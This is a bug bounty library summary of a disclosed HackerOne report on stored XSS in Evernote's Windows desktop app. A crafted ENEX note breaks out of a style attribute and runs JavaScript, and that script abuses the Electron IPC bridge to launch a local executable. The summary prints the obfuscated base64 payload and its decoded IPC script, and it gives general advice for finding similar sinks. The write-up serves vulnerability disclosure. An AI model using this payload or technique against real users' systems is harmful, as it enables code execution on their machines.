# Evernote(WindowsApp) XSS to RCE

Malformed ENEX note with HTML-entity XSS in clipped-source-title executes JS in Evernote's Electron renderer, invoking IPC to launch local executables like calc.exe.

- Payout: $2,000
- Severity: high
- Program: Evernote
- Found by: astelynk
- Disclosed: 2026-11-21
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/2119149
- Library page: https://bugbountylibrary.com/r/h1%3A2119149
- Tags: area:os domain:desktop impact:rce kind:bounty platform:hackerone sev:high tech:electron technique:chained technique:source-review vuln:rce vuln:xss

**Target:** Evernote Windows desktop app (Electron) ENEX note import
**Root cause:** The ENEX importer injects the --en-clipped-source-title style attribute into the note renderer without sanitizing HTML entities, so an entity-encoded payload is decoded and rendered as HTML, executing script in the Electron renderer. The preload-exposed electronApi.ipcRenderer lets renderer JS call BrokerBridge/Bridge/Publish, and the boron.actions.openBrowserWindow topic opens arbitrary URLs including file:// executables.
**Steps:**
1. Install Evernote Web Clipper in Chrome, run 'Clip Full Page' on any site, open the note in Evernote, export as ENEX.
2. In the ENEX, locate the div style attribute --en-clipped-source-title inside the CDATA of /en-export/note/content/text().
3. Insert the HTML-entityized payload `"><img src onerror=eval(atob('c2V0VGltZW91dCgoKT0+e3dpbmRvdy5lbGVjdHJvbkFwaS5pcGNSZW5kZXJlci5zZW5kKCJCcm9rZXJCcmlkZ2UiLHthY3Rpb246IkJyaWRnZS9QdWJsaXNoIix0b3BpY3M6ImJvcm9uLmFjdGlvbnMub3BlbkJyb3dzZXJXaW5kb3ciLHR5cGU6IiIsImRhdGEiOnsicmVxdWlyZXNBdXRoZW50aWNhdGlvbiI6ZmFsc2UsInVybCI6ImZpbGU6Ly8vQzovV2luZG93cy9TeXN0ZW0zMi9jYWxjLmV4ZSJ9fSk7fSw1MDAwKTs='))>` into that attribute and save.
4. Import the malformed ENEX into Evernote 10.60.4-win-winstore-public.
5. A few seconds after import, calc.exe launches.
**How found:** Noticed the ENEX export stores the clipped page title in a --en-clipped-source-title style attribute inside CDATA; hypothesized HTML entities would be decoded on import and break out of the attribute, then enumerated the preload electronApi IPC surface to find a topic that opens arbitrary URLs.
**Exploitation:** Attacker delivers a crafted ENEX file; on import the decoded payload runs in the renderer, waits 5s, then sends IPC message BrokerBridge with action Bridge/Publish, topic boron.actions.openBrowserWindow, data {requiresAuthentication:false, url:'file:///C:/Windows/System32/calc.exe'}, causing the main process to launch the local executable.
**Escalation:** Renderer XSS escalated to native code execution by abusing the preload-exposed IPC bridge to invoke openBrowserWindow with a file:// URL.
**Insight:** When a desktop app exports/imports notes as ENEX/HTML, the clipped-source-title style attribute is a stored-HTML sink; entity-encode a breakout payload there. In Electron apps, enumerate window.electronApi.ipcRenderer channels and BrokerBridge topics for ones accepting a url, since file:// URLs turn renderer XSS into program execution.

## Proof of concept (copied exactly from the original report)

**Decoded XSS script invoking IPC to launch calc.exe**

```
setTimeout(()=>{window.electronApi.ipcRenderer.send("BrokerBridge",{action:"Bridge/Publish",topics:"boron.actions.openBrowserWindow",type:"",data:{"requiresAuthentication":false,"url":"file:///C:/Windows/System32/calc.exe"}});},5000);
```

